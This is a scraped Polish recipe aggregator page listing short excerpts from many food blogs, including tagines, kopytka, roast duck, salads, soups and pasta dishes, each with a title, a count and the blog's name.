Marokański tadżin (tagine) z warzywami i ciecierzycą - wegetariański 251

możecie wykorzystać również dużą brytfannę, a ewentualny brak pokrywki zrekompensować arkuszem folii aluminiowej. ➤ Zobacz również inne tadżiny: tadżin wołowy z dynią i suszonymi śliwkami tadżin z klopsikami w sosie pomidorowym i jajkami tadżin z kurczaka z kiszonymi cytrynami i oliwkami Tadżin (tagine) z warzywami i ciecierzycą - wegetariański Składniki / na 4 porcje: 1 słodki ziemniak, obrany i pokrojony na duże kawałki

Chilli Czosnek i Oliwa
Corn dogi (parówki w cieście kukurydzianym w stylu amerykańskim) 270

gorącym oleju i najczęściej podawane na długim patyku, choć bez niego także. Idealnie nadają się na przekąskę czy szybki obiad. Możecie je podać z zestawem surówek lub ulubionym sosem. Taki fast food nie jest zdrowy, ale od czasu do czasu można sobie pozwolić na taką pyyyyszną kiełbaskę. Polecam! 7 parówek (u mnie z szynki Henryka Kani ) Ciasto: 80g mąki pszennej

Di gotuje
koperkowe kopytka... 187

wkładać kopytka do wrzącej, osolonej wody z olejem, po wypłynięciu gotować z 2 minuty, cedzakiem wyjmować na talerz - dokonale smakują polane masłem, z okrasą z boczku lub do gulaszu, sosu...........SMACZNEGO

W Mojej Kuchni Lubię
Tradycyjny Yorkshire pudding z mięsnym nadzieniem 240

Tradycyjny Yorkshire pudding z mięsnym nadzieniem to oczywiście eksperyment połączenia tradycyjnego angielskiego puddingu i mięsa w sosie z dipem z dyni. Efekt końcowy był bardzo fajny. Mam dwa przepisy na yorkshire pudding: ten zaczerpnięty z internetu i tradycyjny. Z poniżej podanych składników przygotowałam 8 małych kokilków (8cm średnicy i 5 cm wysokości). Składniki na: Tradycyjny... Więcej The post Tradycyjny Yorkshire

Magiczny Garnek
Polędwiczka w pieprzu z szałwią i rozmarynem 192

minut, żeby odpoczęła. Po tym czasie kroimy ją na plasterki. Ja najczęściej podaję polędwiczkę na puree z ziemniaków z dodatkiem surówki ze świeżych warzyw. Świetnym dodatkiem będzie także sos grzybowy. Smacznego Artykuł Polędwiczka w pieprzu z szałwią i rozmarynem pochodzi z serwisu PatiGotuje

PatiGotuje
Chrupiące kopytka z papryką 342

Wspaniały dodatek do obiadu. Ziemniaki inaczej, tak mówiłam w dzieciństwie pomagając Babci wałkować rulony na stolnicy. Smakują prosto z wody, polane sosem lub gulaszem z dodatkiem surówki. Także odsmażone, szczególnie na chrupko i podane z mięsem lub z warzywami. Uwielbiam je z gulaszem, bitkami, pieczoną kaczką lub z kotletem de volaille. Najczęściej podaję z mięsem i ulubionymi dodatkami. Jeśli jest

Zasmakuj Kuchni
Pieczone kacze udka 229

patelnię trochę oleju, można pominąć – z kaczki i tak wytopi się tłuszcz. Piekarnik rozgrzewam do temp. 180 C. Kaczkę układam w naczyniu żaroodpornym, polewam powstałym na patelni sosem. Można na koniec na patelnię dolać odrobinę wody, wymieszać i wlać do naczynia (nic nie może się zmarnować Część jabłek lub gruszek obieram, resztę zostawiam ze skórką, kroje na cztery, wydrążam

Zasmakuj Kuchni
Rosół wołowo-drobiowy Magdy Gessler 431

rosołu dodać 2 białka kurze i powoli podgrzewać mieszając. Przecedzić przez gazę. Ja jednak nie robiłam tego kroku, rosół wspaniały. Warzywa i mięso użyć do farszów lub zjeść z sosem musztardowym lub chrzanowym. Warzywa świetnie nadają się do sałatki jarzynowej. Smacznego

Zasmakuj Kuchni
Pałki z kurczaka w miodzie 216

pałek z kurczaków. Na marynatę: 4 łyżki oliwy,  3 łyżki miodu, łyżeczka słodkiej papryki, łyżeczka ostrej papryki (opcjonalnie), łyżeczka sosu sojowego, 3 ząbki czosnku (przeciśnięte przez praskę). Dzisiejsza propozycja na obiad, jest niezwykle prosta i niezwykle smaczna :) Wyśmienicie smakuje z ziemniaczkami i mizerią. Z podanych składników przygotować marynatę. Posmarować nią pałki kurczaka i odstawić na całą noc do lodówki

Świat Domowej Kuchni
GRYCZANE PLACUSZKI Z JABŁKIEM 233

dodajemy masło orzechowe i mieszam. Powinna wyjść gęsta konsystencja. Olej kokosowy rozgrzewamy na patelni i na małym ogniu smażymy placuszki. Gdy zarumienią się przekładamy na ręcznik papierowy. Podajemy polane sosem orzechowym i posypujemy wiórkami kokosowymi. SMACZNEGO

Prosto i Smacznie z Anetą
Tortille z burrito 188

cebulę, następnie paprykę, smażyć chwilę, po czym zalać zblendowanymi pomidorami, dorzucić odcedzoną i opłukaną fasolę, ananasy i groszek (można dodać odrobinę zalewy z groszku, żeby potem było z czego sos zrobić). Dusić ok 10-15 minut, na koniec przyprawić koncentratem, solą, pieprzem i ziołami. Podawać z tortillami, które wcześniej przesmażyć na patelni. Smacznego

Trufelkowo
Kurczak w towarzystwie fajity 165

było smacznie. Jadłam kotlety wieprzowe w towarzystwie polskich jabłek z francuskim winiakiem Calvados podane z zasmażanymi ziemniakami z boczkiem. Najbardziej smakowały mi właśnie te ziemniaki z boczkiem i sos z sera pleśniowego, którego niestety mogło być ciut więcej :). Po za tym miła obsługa i bardzo przytulny wystrój. Dopiero dzisiaj znalazłam w końcu czas, żeby do Was zajrzeć. Jutro i pojutrze

Trufelkowo
Sałatka z selerem naciowym i tuńczykiem 163

Właśnie czekam na mojego Narzeczonego, bo dzisiaj niestety dłużej :(. A międzyczasie przygotowałam dla Was pyszną i szybką sałatkę. Zapraszam! Składniki: 3-4 łodyżki selera naciowego 1 puszka tuńczyka w sosie własnym 1 puszka kukurydzy (np. Develey ) 5-6 ogórków konserwowych pokrojonych w kostkę mała kiść winogron 2-3 łyżki majonezu (np. Develey ) 2-3 łyżki jogurtu naturalnego sól pieprz Wykonanie

Trufelkowo
Nadziewany bakłażan 163

kostkę. Pozostałą oliwę rozgrzać na patelni, dodać cebulę, podsmażać chwilę, dodać paprykę i miąższ z bakłażana, smażyć ok 7 minut, po tym czasie dodać pokrojone pomidory razem ze sosem oraz oliwki. Dusić pod przykryciem ok 15 minut. Doprawić świeżo mielonym pieprzem i solą, dodać wino oraz ocet z czerwonego wina. Wymieszać. Kaszą jaglaną oraz farszem nadziać nasze bakłażany. Posypać startym

Trufelkowo
Pizza Special :) 166

Witajcie... Dzisiaj mam dla Was przepyszny przepis na pizzę, cienki, a zarazem puszysty spód, pyszny sos z suszonych pomidorów... A dalej zobaczcie sami co było :). Smacznego! A ja idę pod kołderkę, bo mnie przeziębienie łapie :(. Składniki: 2 szkl mąki tortowej 2 łyżki oliwy z oliwek, np. Develey 2/3 szkl ciepłej wody szczypta soli szczypta cukru 1/2 kostki drożdży Dodatkowo

Trufelkowo
Pieczone BATATY 135

koniec boczek i czosnek, podsmażać ok 10 minut cały czas mieszając, doprawić ziołami. W miseczce wymieszać jogurt, majonez, sól i pieprz. Upieczone bataty posmarować każdy osobno jogurtowo-majonezowym sosem, nałożyć farsz z papryki i boczku i zapiekać jeszcze 10 minut. Podawać gorące - bo takie najlepsze :). Idealne jako przekąska lub na obiad/kolację. Smacznego

Trufelkowo
Polędwiczka wieprzowa zawijana w boczek 143

będę miała więcej czasu, to od razu wracam do WAS z nowymi przepisami! :) Dzisiaj chciałam Was poczęstować polędwiczką wieprzową w boczku wędzonym. (A w planach jest jeszcze polędwiczka w sosie owocowym:)) Składniki: 1 polędwiczka wieprzowa boczek wędzony w plastrach czosnek przeciśnięty przez praskę sól pieprz odrobina ulubionych ziół oliwa z oliwek Dodatkowo:   masło 2 ząbki przeciśnięte przez praskę zioła

Trufelkowo
owocowa potrawka z indykiem 178

kostkę brzoskwiń. Resztę zmiksować blenderem z 1/2 soku, w którym były owoce i zalać tym podsmażone owoce z cebulką. Dodać bulion oraz podpieczone mięso i dusić ok 10 minut. Sos zagęścić zaklepką z mąki i wody. Przyprawić solą i pieprzem. Potrawkę podawać np. z brązowym ryżem. Smacznego! :) I porcja zdjęć z sesji narzeczeńskiej w stylu western

Trufelkowo
Tagliatelle ze szpinakiem 238

Dzień Dobry z rańca! :) Dzisiaj mam dla Was szybki obiad, makaron tagliatelle ze szpinakiem w sosie śmietanowym. Kto ma ochotę?! Zapraszam :) Składniki: 1/2 opakowania makaronu tagliatelle 250 g świeżego szpinaku baby 2 ząbki czosnku 1/2 posiekanej cebuli 200 ml śmietanki 18 % (lejącej) 4-5 pomidorków koktajlowych na pół sól pieprz oliwa Wykonanie: Makaron ugotować wg przepisu. Na oliwie poddusić cebulę

Trufelkowo
Sałatka z tuńczykiem 167

przepis na sałatkę z tuńczykiem i ryżem. Szybka, smaczna (uwielbiam do niej świeżą bagietkę z samym masłem lub dodatkiem camembertu). Zapraszam... Składniki: 1 puszka tuńczyka w sosie własnym 1 woreczek ugotowanego ryżu 3/4 małego słoiczka ogórków korniszonków (u mnie te z Lidla) 1 puszka kukurydzy, np. Develey 1 puszka fasoli czerwonej 1 puszka groszku 2-3 łyżki majonezu 1/4 posiekanej

Trufelkowo
Udka z kaczki z kolendrą, zieloną pietruszką i owocami 197

nagrzanym piekarniku (180 stopni) ok 1 godzinę. Po godzinie dodać gruszkę pokrojoną w ćwiartki i plastry pomarańczy, piec kolejne 30 minut już bez przykrycia. Po tym czasie przygotować sos dodając zaklepkę. Gotowe podawać z ciepłymi pyzami lub ziemniakami oraz modrą kapustą. Smacznego

Trufelkowo
Risotto z borowikami i ziołami! 187

dusiły. Więc smaż je ewentualnie partiami i usmażone odkładaj na talerzyk obok. Jeśli dasz za dużo grzybów na patelnię, zaczną się dusić i cały smak oddawać do sosu, a same będą co raz bardziej "ciapowate" i rozwodnione. A chcemy jak najwięcej smaku zachować w plasterku grzyba.  Grzyby po usmażeniu zdejmujemy na talerz. Na pozostałą na patelni oliwę dodajemy ryż

SMYKWKUCHNI
Delikatna potrawka z warzywami i rybą 183

śmietaną i dodajemy do niego kawałki ryby. Gotujemy kilka minut. W niewielkiej ilości zimnej wody rozprowadzamy mąkę ziemniaczaną, dodajemy do bulionu i gotujemy aż do zgęstnienia. Do powstałego sosu dodajemy ugotowane jarzyny i ponownie krótko podgrzewamy. Doprawiamy do smaku solą oraz pieprzem i ewentualnie odrobiną soku z cytryny. Na koniec posypujemy danie koperkiem. Podajemy od razu, z ryżem, kaszą

Smaki Na Talerzu
FOCACCIA Z POMIDORKAMI, OLIWKAMI I MOZZARELLĄ 175

natchnęła mnie do napisania postów z daniami właśnie z tych krajów. Dziś zaczynam od Włoch i pysznej Focacci. Focaccia to rodzaj włoskiego pieczywa, taka trochę siostra pizzy lecz bez sosu pomidorowego. Bardzo popularna, zazwyczaj podawana na ciepło przed głównym posiłkiem, w celu zaspokojenia pierwszego głodu. Można ją przygotowywać z różnymi dodatkami. Cudowna, aromatyczna, po prostu pyszna :) SKŁADNIKI: na zaczyn

Kuchnia w opałach
Cannelloni 194

Wszystkie włoskie makarony mają na całym świecie rzeszę fanów, nie... Artykuł Cannelloni pochodzi z serwisu CookMagazine .

COOKMAGAZINE
Domowa kostka rosołowa warzywna 490

rosołowe czy bulionetki w sklepie, a przecież domowa kostka rosołowa jest tak łatwa do przygotowania w domu. Kiedyś nagminnie korzystałam z kostek rosołowych i nie wyobrażałam sobie zupy czy sosu bez dodania chociaż odrobiny tego produktu. Teraz nie kupuję już gotowych kostek, ale korzystam ze swojej własnej. Nie ma w niej żadnych sztucznych konserwantów ani dodatków szkodliwych dla mojego zdrowia

Pieguskowa Kuchnia
Makaron z kurczakiem, brokułem i fasolką szparagową w lekkim sosie 227

Lubię makarony. Szybkie w przygotowaniu a przy tym smaczne. Z kurczakiem, warzywami, delikatnym sosem i parmezanem stanowią posiłek prosty ale zarazem smaczny. Idealny w ciągu tygodnia, kiedy niewiele mamy czasu na gotowanie.  Składniki (na 2 porcje): 100 gram makaronu lubella Tagliatelle  300 gram piersi kurczaka  100 gram brokuł garść zielonej fasolki szparagowej  1 łyżka oliwy

Mango Papaja
Placek po węgiersku 1063

każdym razem mieszając) pokrojone w plasterki ogórki, pieczarki, poszatkowaną papryczkę chilli oraz pokrojoną paprykę i poszatkowaną pietruszkę. Całość gotuję na wolnym ogniu aż do miękkości mięsa i zredukowaniu sosu (ok 30 minut). Doprawiam solą i pieprzem. Zagęszczam wedle uznania łyżeczką mąki rozmieszanej z małą ilością wody. Obrane ziemniaki razem z cebulą rozdrabniam blenderem (można zetrzeć lecz blenderem szybciej), dodaję jajka

Mechanik w kuchni
Rozgrzewająca zupa z indykiem, batatem, dynią. kalarepą i kurkumą 244

łyżeczki słodkiej papryki zioła prowansalskie lubczyk  sól pieprz 2 ząbki czosnku 1 łyżka oliwy z oliwek 1 łyżka masła klarowanego  1/3 szklanki śmietany do zup i sosów 1. Cebulę obieram kroję w drobną kostkę, Czosnek obieram i przepuszczam przez praskę, batata, dynię kalarepę również obieram następnie kroję w kostkę, tak samo kroję indyka. 2. W garnku rozgrzewam masło

kruche babeczki
Jesienne ragout z dynii, podgrzybków i żurawiny 168

Królowa jesiennych warzyw - dynia wkracza do akcji. Połączona aromatycznym sosem z podgrzybkami i żurawiną może stanowić samodziele danie lub być pysznym dodatkiem do każdego mięsnego lub rybnego posiłku. Jeszcze jeden smaczny przepis na wykorzystanie grzybów. Wspaniałe aromatyczne podgrzybki, delikatna, słodkawa dynia i kwaskowate, czerwone kulki żurawiny - tak smakuje jesień! Polecam wypróbowanie przepisu! Składniki: 250-300 g podgrzybków 1 kubek żurawiny

Gotuj zdrowo!Guten Appetit!
Bitki Schabowe W Sosie Pieczarkowym 165

doprawiam solą, pieprzem i gotuję do miękkości mięsa około 1 i 1/2 godz (mięsko wtedy wręcz się rozpada). 3. Pod koniec gotowania wlewam śmietanę i gotuje do zgęstnienia/odparowania sosu. Podaje z ziemniaczkami bądź kopytkami  <-- klik oproszonymi natka pietruszki i obowiązkowo z kiszonym ogórkiem  <--klik ;) Smacznego

Gotowanie...to proste !
Sałatka z figami, gorgonzolą, orzechami i granatem 181

cytryny (do smaku) 1/2 łyżki miodu,  lub więcej do smaku  szczypta soli 1/2 łyżki płatków chilli-dodajcie więcej lub mniej jak lubicie. Wszystkie składniki na sos włóżcie do słoiczka i potrząsając zmieszajcie dokładnie. Pamiętajcie że ser gorgonzola jest intensywny w smaku i dość słony. Wykonanie: Sałatę przełóżcie do miski. Figi pokrójcie na grubsze kawałki- mogą być ósemki. Pokruszcie

Piekarz-Kucharz-Garkotłuk
Cóż za kolor, cóż za smak! Czyli syrop z owoców czarnego bzu 210

zwalonym, spróchniałym pniu znaleźliśmy grzybnię kurek! Te znają chyba wszyscy; bez wahania więc nazbieraliśmy całkiem pokaźną ilość. Są to zdecydowanie moje ulubione grzyby; będzie tarta, albo zupa, albo sos... A może wszystkiego po trochu...? Jeszcze się nie zdecydowaliśmy... Tymczasem z trudem nazbieranych owoców czarnego bzu, przygotowałam syrop. Robi się go szybko i prosto, a jedynym składnikiem, którego zdobycie może nastręczyć

Pożeraczka, czyli raz adobrze
Zupa ogórkowa na kurzych udkach 221

szybka w przygotowaniu. Składniki: 2 ćwiartki kurczaka 500 g ogórków kiszonych 3 ziemniaki 2 marchewki 2 liście laurowe 3 ziela angielskie 0,5 szklanki śmietany 18% do zup i sosów sól, pieprz Przygotowanie: do garnka wlej 1 l wody i włącz pod nim ogień włóż do niego umyte kurze nogi oraz liść laurowy i ziele angielskie gotuj na małym ogniu

Oka w rosole czyli KaFka gotuje
Gulasz kolożwarski - kolozsvári gulyás - czyli rumuńska zupa gulaszowa 307

opis  "rumuńska zupa gulaszowa". Wynika to z różnic w nazewnictwie. W Polsce, gulasz to zazwyczaj  pokrojone w mniejszą lub większą kostkę i zrumienione na tłuszczu mięso w sosie, które serwujemy do ziemniaków, kopytek (niebawem przepis),  placków ziemniaczanych czy klusek na parze. Na Węgrzech i w krajach ościennych (m.in. w Rumunii), gulyás to rodzaj gęstej zupy. Zupy

Kulinaria - potrawy z różnych stron świata
Wegańskie placki ziemniaczane z cebulą 234

pewno chrupiące na zewnątrz i miękkie w środku. A co tyczy się dodatków to już sprawa indywidualna, jedni lubią ze śmietaną inni natomiast z samym cukrem. My uwielbiamy z sosem czosnkowym i tym samym polecam w ten sposób placuszki również wam.  Moja wersja placków nie zawiera jaj, są całkowicie wegańskie, tak na prawdę zastanawiam się

Mój pomysł na
PLACKI ZIEMNIACZANE - PRZEPIS PODSTAWOWY 182

wykorzystać od razu wtedy placuszki będą miały piękny jasny kolor w środku natomiast jak zostawimy je na później będą ciemne i brzydkie.  Podawać na gorąco z cukrem, śmietaną, sosem lub jak jak na zimno jako przystawka z białym serkiem, łososiem, cytryną i koperkiem

pieprzny smaczek
Puder z kani i borowików 218

grzybami i nie macie pomysłu co dalej - zróbcie puder grzybowy! W zasadzie możecie użyć każdych waszych ulubionych grzybów - my stawiamy na kanie i borowiki, Taki puder dodajcie później do sosów, zup, gulaszów i różnorakich mięs - doskonale "podkręci" smak potraw! SKŁADNIKI kanie, borowiki lub inne grzyby :) PRZYGOTOWANIE Grzyby tniemy na paski/kawałki i porządnie suszymy. Osobno gatunkami (bo mają różne aromaty

Moje Kuchenne Rewelacje
Zapiekanka Makaronowa z Mięsem Mielonym i Pomidorami 144

przepisu. 2.Na patelni rozgrzewamy masło, smażymy cebulę, dodajemy mięso mielone. 3.Gdy mięso się usmaży doprawić solą i pieprzem. 4.Dodać pomidory krojone z puszki i cukier,całość zagotować. 5.Przygotowany sos zmieszać z makaronem i przełożyć do pojemnika żaroodpornego 6.Wierzch wyłożyć serem żółtym, startym na tarce lub pokrojonym na paski. 7.Całość zapiec 25-30 minut w temp.180

Dziś Ja gotuje
Pulpeciki w sosie pomidorowym 213

Takie małe pulpeciki w sosie pomidorowym dość często przyrządzam na obiad, można je podać z makaronem, ziemniakami. Ja najczęściej jadam je z samymi warzywami, bardzo mi smakują.   Składniki: 0,5 kilograma mięsa mielonego 0,5 litra przecieru pomidorowego 2 listki laurowe 3 ziela angielskie 5 ziaren pieprzu 1 łyżeczka suszonego oregano 1 łyżeczka suszonej bazylii Sól himalajska Targroch Pieprz

Bajeczna Kuchnia
Tort orzechowo-karmelowy 218

rozpuścicie do płynnego brązowego karmelu - ale nie spalonego, dodajemy masło (roztopione łatwiej się łączy z cukrem), następnie dodajemy 1 śmietankę 36% i powoli mieszamy aż połączy się w jednolity sos karmelowy.Dodajemy do niego 2 garście orzechów włoskich i mieszamy, odstawiamy do wystudzenia. Resztę orzechów trzeba zblendować na bardzo drobny miał. Pozostałą śmietanę ubijamy na sztywno z dwiema łyżkami cukru

Kuba Gotuje
Blondie z pistacjami 226

łyżeczki proszku do pieczenia   Blondie to takie brownie ale z białej czekolady. W rondelku rozpuszczamy masło, dodajemy do niego czekoladę i sól i łączymy w gładki sos. Jajka ubijamy z cukrem, dodajemy przestudzą czekoladę, łączymy wszystko na gładką masę. Stopniowo dodajemy mąkę z proszkiem do pieczenia ciągle mieszając. Ciasto wylewamy na blaszkę wyłożoną papierem do pieczenia i posypujemy

Kuba Gotuje
naleśniki 208

olej i smażyć cienkie naleśniki układając masę na patelni kolistym ruchem. Smażyć z obu stron do zarumienienia. Podawać z nadzieniem np z sera białego lub jabłek z cynamonem i sosem ze śmietany wymieszanej z cukrem pudrem. Smacznego

cukrem pudrem posypane
Lasagne z grzybami leśnymi 214

Lasagne to danie przygotowywane na bazie prostokątnych płatów makaronu. Najbardziej znaną jest chyba wersja z mięsem mielonym, sosem pomidorowym i mozzarellą.  Korzystając z sezonu grzybowego można taką "zapiekankę" dla odmiany zrobić z pachnącymi grzybami leśnymi.  W październiku mamy Światowy Dzień Makaronu, więc może moja propozycja zainspiruje Was do stworzenia tego pysznego dania np. na obiad tego dnia

Bon appetit mon amie
Pasta ze słonecznika i pieczonej papryki 283

Agnieszka, która podała pastę na swoim przyjęciu, przyprawiłam ją wędzoną papryką. Podana na grzankach jest wyśmienita! Kanapki warto posypać rozkruszoną fetą. Resztki pasty możemy podać jako… sos do makaronu – wystarczy rozrzedzić ją wodą z gotowania. Pasta ze słonecznika i pieczonej papryki: 200 g łuskanych pestek słonecznika 2 duże czerwone papryki (lub słoik pieczonej papryki) 1 duży ząbek czosnku

Poezja smaku
Tarta z dynią i szpinakiem 192

Zupa-krem z pieczonej dyni z mleczkiem kokosowym Zupa-krem z pieczonej dyni Zupa dyniowa z marchewką Dynia zapiekana z grzybami Prażone pestki dyni Schabowe roladki z dynią w sosie śliwkowym I na słodko: Dżem dyniowy z pomarańczami Przyprawa do ciasta dyniowego Ciasto dyniowo-pomarańczowe z suszonymi owocami Sernik dyniowy Pumpkin pie, czyli tarta dyniowa Dyniowe ślimaczki drożdżowe Placuszki dyniowe

Kulinarne przygody Gatity
Zupa grzybowa ze świeżych grzybów 224

rzeczywistości... Na pierwszy rzut poszły grzyby. Dziadek przywiózł nam trochę tych dobroci z lasu i od razu powstała myśl, aby ugotować zupę grzybową. Była pyszna. Reszta wylądowała w sosie a ja już nie mogę się doczekać kolejnej porcji grzybów :) Składniki: 30 dag grzybów  1 marchewka 1 pietruszka kawałek selera 1 cebula 1 ząbek czosnku około 1 litra bulionu warzywnego

My simple kitchen
Zapiekanka z pieczarkami, salami i jalapeno 249

papierem do pieczenia w piekarniku rozgrzanym do 200 stopni około 5-10 minut, aż ser się rozpuści, a pieczywo zacznie robić się chrupiące. Smacznego! Zobacz również jak zrobić klasyczny sos pomidorowy , który możesz wykorzystać do zapiekanki.   Artykuł Zapiekanka z pieczarkami, salami i jalapeno pochodzi z serwisu Blog kulinarny | Ale Pysznie

ale Pysznie
Sałatka z grillowanym antrykotem wołowym w sosie jogurtowym 200

miękkie ( al. dente ). Sałatę rzymską kroimy na kawałki. Wykładamy na talerz. Grillowany antrykot kroimy w cienkie paski i kładziemy na sałacie razem z wystudzonymi warzywami. Na górę wykładamy przygotowany sos jogurtowy. I gotowe. SMACZNEGO. Wartość kaloryczna jednej porcji: ok.225 kcal (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function

Smaki Ewy
Makaron z prawdziwkami 156

solimy je. Smażymy je na średnim ogniu, od czasu do czasu mieszając, przez około 10 minut. Po tym czasie dolewamy do nich śmietankę. Wszystko dusimy na małym ogniu, aż sos zgęstnieje. Dodajemy natkę pietruszki, ugotowany, gorący makaron i wszystko dokładnie mieszamy. Patelnię ściągamy z ognia i dodajemy rozmieszane żółtka. Dokładnie mieszamy. Podajemy od razu posypując dużą ilością sera. Smacznego Artykuł

PatiGotuje
Chłopska patelnia z kiełbasą, cebulą, papryką i pieczarkami 181

rumiana, mocno przysmażona kiełbasa w pysznym sosie, zjedzona prosto z patelni to kulinarne marzenie każdego faceta:). Treściwe i sycące. Pamiętajmy o wyborze dobrej jakości kiełbasy! Ja jak zwykle postawiłam na firmę, która jeszcze nigdy mnie nie zawiodła -  Hańderek .  500g wędzonej kiełbasy, u mnie Kiełbasa Swojska od Hańderek 3 papryki: żółta, zielona i czerwona 300g pieczarek 2 duże cebule

Szefowa kuchni
CZEKOLADOWE PANCAKES 170

Placki wyszły pyszne, miękkie i pulchniutkie.  Podałam je z bananem, polane syropem klonowym, ale w zasadzie będą smaczne z każdymi innymi owocami, konfiturą, można też polać je dodatkowo sosem czekoladowym. Idealne, by zapakować je w pudełko i podarować dziecku do szkoły. Pancakes można przygotować zarówno na śniadanie jak i na obiad czy podwieczorek.  Składniki na około 10 placuszków

Zrób to smacznie
Jak zaoszczędzić i przedłużyć przydatność żywności do spożycia? 219

mielone 4 miesiące 12 miesięcy Mięso 6 miesięcy 24-26 miesięcy Każdy produkt po zapakowaniu próżniowym należy podpisać. Osobiście najczęściej pakuję warzywa. Bardzo często przygotowuje w domu najróżniejsze zupy, sosy warzywne do ryżu itd. Dzięki pakowaniu próżniowemu mam w prosty sposób wszystko odpowiednio poporcjowane, a „nadwyżki” jedzenia się nie marnują. Tak jak widoczny na zdjęciu miks różnych warzyw

Słodkie okruszki
Tortille z kurczakiem i ananasem 426

Składniki: 1 tortilla 30 cm Fanex 1 filet z kurczaka 2 krążki ananasa z puszki roszponka lub inna sałata sos gyros Fanex przyprawa do kurczaka kilka pieczarek sól i pieprz … Czytaj dalej Tortille z kurczakiem i ananasem

czarrna od kuchni
Sałatka z ciecierzycą i granatem 246

Sałatka z granatem i ciecierzycą 2017-09-29 15:59:20 Porcje 3 Oceń Zapisz przepis Drukuj Składniki 1 szklanka surowej ciecierzycy pestki z 2 granatów 1 natka pietruszki Sos 3 łyżki oliwy z oliwek 3 łyżki soku z cytryny 1 łyżka miodu sól, pieprz Przygotowanie Ciecierzycę namocz na noc. Rano odlej wodę i ugotuj ziarna do miękkości. W dużej

Powiedz dietom nie
Łopatka wieprzowa pieczona w piekarniku z cebulą i czosnkiem 437

dużą ilością cebuli i czosnku:). Łopatka wyszła miękka i krucha. 1 kg łopatki wieprzowej 5 dużych cebul 7 ząbków czosnku marynata: 1/4 szklanki keczupu, 2 łyżki musztardy, 5 łyżek sosu sojowego, 2 łyżeczki słodkiej papryki, 1 łyżeczka ostrej papryki, 1 łyżeczka soli 1. Łopatkę kroimy w plastry, delikatnie rozbijamy. Cebulę i czosnek kroimy w cienkie plastry.  2. Mięso umieszczamy

Szefowa kuchni
Cukinia faszerowana mięsem mielonym i papryką 273

około 2-3 minuty, tylko do czasu, aż ser się rozpuści. Smacznego To też może Cię zainteresować: Cukinia faszerowana mielonym mięsem, czarnymi oliwkami i serem lazur Zapiekanka makaronowa w sosie śmietanowym z mięsem mielonym, papryką i cukinią Zapiekanka z cukinią, figami i kozim serem Łosoś z jagodami goji i szafranowym amarantusem (adsbygoogle = window.adsbygoogle || []).push

Oryginalny smak
Kołpaki z papryką w pomidorach 274

kilka dni. Warto płachetki po prostu zapasteryzować w słoikach żeby mieć ich zapas do różnych dań. Dzisiaj oddaję w Wasze ręce przepis na grzyby z papryką i cebulą w sosie pomidorowym, z dużą ilością przypraw. Jeśli chcecie możecie poeksperymentować z użyciem w tym przepisie innych grzybów bo myślę, że nie tylko kołpaki sprawdzą się doskonale w tej wersji. Płachetki można

Smaczna Pyza
Sałatka z kaszy jęczmiennej i tuńczyka 364

składników i propozycja sałatki na medal!:)) Sałatka z kaszy jęczmiennej z tuńczyka Składniki: 100 gram ugotowanej kaszy jęczmiennej (u mnie sprawdzona kasza z Polskich Młynów) 1 puszka tuńczyka w sosie własnym 1 czerwona papryka, pokrojona w kostkę 1 posiekany pęczek natki pietruszki sól, pieprz do smaku Składniki wymieszać. Sałatka gotowa do pałaszowania bezpośrednio po przygotowaniu, doskonała również kolejnego dnia. Idealnie

Apetyt na więcej - jadłodajnia dla duszy i ciała
Wołowina po azjatycku 276

Składniki: 20 dkg wołowiny 10 g grzybów mun 100 g pieczarek 1 marchewka 1 mała pietruszka 1 mały por 100 g makaronu ryżowego 2 ząbki czosnku kawałek imbiru sos sojowy … Czytaj dalej Wołowina po azjatycku

czarrna od kuchni
Makaron z kurkami i z krewetkami 174

Cebulę kroimy w piórka. Smażymy na maśle przez około 2 minuty, zalewamy winem i dodajemy parmezan, gotujemy przez kolejne 3 minuty. Następnie należy dodać krewetki i śmietanę. Gotujemy aż sos zgęstnieje, następnie dodajemy ugotowany makaron penne i całość dokładnie mieszamy.  (adsbygoogle = window.adsbygoogle || []).push

Delusional Trine
Doskonałe falafele 194

prawie fast-foodowy sposób – z frytkami pieczonymi w piekarniku i keczupem. Świetnie smakują zawinięte w tortillę, z dodatkiem warzyw i sosów. Dobrym pomysłem jest także przygotowanie z nich domowego hamburgera. Doskonałe falafele (30 sztuk) Składniki 400 g suchej ciecierzycy 1 cebula 2 ząbki czosnku garść posiekanej natki pietruski 1 łyżeczka mielonego kuminu

Vegan Taste
Kotlety z kaszy jęczmiennej 231

bułce tartej. Kotleciki smażymy na rumiano na patelni lub pieczemy w piekarniku 180 stopni przez 20 min lub do zezłocenia się. Kotlety z kaszy jęczmiennej podajemy np z sosem grzybowym lub ulubioną surówką. Z podanych składnikiów wychodzi ok. 12 kotletów.   The post Kotlety z kaszy jęczmiennej appeared first on Thermomix przepisy

Themo przepisy
Piersi z kurczaka w pomidorach ze świeżym rozmarynem, bazylią i szałwią. 209

tyle, że zjesz je ze smakiem. Na Sycylii używa się bardzo dużo szałwii, rozmarynu i bazylii. Mięso przełóż do rondla, serwuj np z dodatkami w postaci ziemniaka lub chleba. Sos pomidorowy wykorzystaj np.do makaronu. Smacznego

Z Kuchni Do Kuchni
Pieczone ziemniaki zawijane w boczku 267

piekarnika nagrzanego do 180 stopni Celsjusza z termoobiegiem i pieczemy aż boczek ładnie się zarumieni.  Tak przygotowane ziemniaki możemy podawać do obiadu, lub jako przekąskę np. z sosem czosnkowym. Napiszcie w komentarzu, czy lubicie takie przekąski

Gotuj z Mąką
Pierś pieczona w marynacie ziołowej 212

łyżeczki soli 1 /4 łyżeczki pieprzu ziołowego 1 łyżeczka czosnku granulowanego 1 łyżeczka bazylii 1 łyżeczka oregano 0,5 łyżeczki curry 2 łyżeczki słodkiej papryki 2 łyżeczki sosu sojowego Wykonanie jest banalnie proste :) Wszystkie składniki dokładnie mieszamy i nacieramy nią piersi. Ja podzieliłam pojedynczą pierś na pół. Odstawiamy do lodowki na 2h a najlepiej jeszcze dłużej :) Piersi wkładamy do rękawa

Mamuśka wraca do formy
Pieczone placki ziemniaczane 360

Pyszne, mięciutkie i chrupiące pieczone placki ziemniaczane . Moim zdaniem, ta wersja jest dużo lepsza niż tradycyjna - smażone na patelni . Najlepiej smakują mi z sosem czosnkowym :) Składniki: 1 kg ziemniaków 1 cebula 1 jajko 1/2 szklanki mleka 4 łyżki mąki pszennej olej, pieprz, sól Przygotowanie : Cebulę siekam w drobną kostkę i podsmażam na łyżce oleju . Obrane ziemniaki ścieram na tarce

Domowa Kuchnia u Mamy
Pulpety w sosie koperkowym 175

